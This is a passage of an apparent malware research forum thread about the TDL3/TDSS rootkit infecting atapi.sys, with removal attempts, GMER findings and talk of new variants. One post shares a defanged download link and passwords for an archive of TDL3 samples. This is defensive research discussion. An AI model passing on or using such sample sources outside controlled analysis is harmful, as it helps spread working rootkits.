Ok, but there is a new atapi infecting root out there that behaves like TDL3, except replacing atapi.sys even in Recovery Console doesn't fix. When you load windows, atapi.sys is infected again. I have only the leads in Gmer to tell me this. I have yet to get a sample of it yet because I was unable to neuralize it and I work remotely. Has there been any recent TDL3 activity? Any knowledge of this new behavior?

This only means that infection is still present on disk. Obviously to make any assumptions more information is required :) As well as "infected" driver for inspection.

If somebody interested today I catched 3.12 version :)

Hey, I think the malware I encountered today was something like this.
esagelabs tdss remover didn't work!
TDL3 Razor didn't work.
screen shot:
the two hidden library in the processes were from a installation of microsoft antispyware that I removed earlier.
I restarted the machine and performed the same gmer scan.
The hidden modules went away but the atapi.sys modification still remains.
I was working on this machine remotely, they are sending it to me because of a blue screen.
will update in the future.

This is very likely original TDL3 infection. Behavior the same.

Just for those who would like to research this rootkit - the full (AFAIK) set of TDL3 from the beginning till present time: hxxp://www.onlinedisk.ru/file/401195/ The password for archive is virus, the password for download is KernelMode.info
I was told (but possibly just a rumour) there is some new version with improved infecting mechanism (Kaspersky detects it as TDSS.d). I have found few cases with TDSS.d infection - but nothing special, simple infected atapi.sys as always.
Maybe someone has more information?

unfortunately I'm laid up ill at the moment with a little *nix/atom so not getting around.

Thank you for providing these samples. Not all of them are really tdl3. There at least one 4dw3r3 tdl copy-paste clone. What about new tdl3 version I didn't yet downloaded it. Well if they changed something in infection module, then it is obviously not enough to counteract tdl3+ removers available at this time. To be honest I don't believe in tdl4 in near few months. Stealth model implemented in tdl3 is enough sophisticated and flexible as time proven.
